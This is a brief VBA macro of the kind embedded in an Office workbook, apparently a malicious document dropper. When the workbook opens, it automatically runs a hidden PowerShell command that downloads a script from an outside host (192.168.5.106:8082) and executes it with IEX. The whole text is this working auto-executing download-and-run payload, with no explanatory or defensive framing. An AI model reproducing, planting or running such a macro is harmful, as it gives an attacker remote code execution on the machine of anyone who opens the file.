Sub WorkBook_Open()
Auto_Open
End Sub
Sub Auto_Open()
Dim str As String
str = "cmd /c powershell -w hidden IEX(New-Object Net.WebClient).DownloadString('http://192.168.5.106:8082/names');"
Shell str
End Sub